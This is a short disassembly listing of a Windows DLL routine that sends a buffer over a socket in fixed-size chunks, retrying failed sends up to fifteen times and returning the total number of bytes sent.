cmp ebx, 0xf
je 0x180001f5b
sub r12d, 0xfa000
add r13d, eax
add rbp, 0xfa000
cmp r12d, 0xfa000
jge 0x180001eb0
test r12d, r12d
jle 0x180001f32
cmp dword [rdi + 0x94], 0
je 0x180001f60
mov rcx, qword [rdi + 0x70]
xor r9d, r9d
mov r8d, r12d
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001f2a
inc esi
cmp esi, 0xf
jl 0x180001f03
cmp esi, 0xf
je 0x180001f5b
add r13d, eax
or eax, 0xffffffff
cmp r13d, r14d
cmove eax, r13d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
or eax, 0xffffffff
jmp 0x180001f3c
xor eax, eax
jmp 0x180001f3c